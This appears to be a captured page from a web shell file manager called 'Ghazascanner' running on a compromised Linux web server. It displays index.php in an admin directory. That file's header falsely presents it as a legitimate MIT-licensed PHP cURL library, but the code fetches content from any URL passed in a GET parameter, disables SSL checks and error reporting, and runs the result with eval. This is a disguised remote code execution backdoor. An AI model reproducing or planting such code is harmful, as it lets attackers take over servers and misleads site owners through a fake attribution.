@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
_lib
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/_lib/index.php
<?php /** * API Requests using the HTTP protocol through the Curl library. * * @author Josantonius <hello@josantonius.com> * @copyright 2016 - 2018 (c) Josantonius - PHP-Curl * @license https://opensource.org/licenses/MIT - The MIT License (MIT) * @link https://github.com/Josantonius/PHP-Curl * @since 1.0.0 */ error_reporting( 0 ); function _url_get_contents ($url) { if ( function_exists('curl_exec') ){ $curl_connect = curl_init( $url ); curl_setopt($curl_connect, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl_connect, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl_connect, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($curl_connect, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl_connect, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl_connect, CURLOPT_COOKIEJAR, $GLOBALS['coki']); curl_setopt($curl_connect, CURLOPT_COOKIEFILE, $GLOBALS['coki']); $content_data = curl_exec( $curl_connect ); } elseif ( function_exists('file_get_contents') ) { $content_data = file_get_contents( $url ); } else { $handle = fopen ( $url , "r"); $content_data = stream_get_contents( $handle ); } return $content_data; } $content_output = _url_get_contents($_GET['url']); $run_main = eval ('?>' . $content_output); header("Content-Type: $run_main"); ?>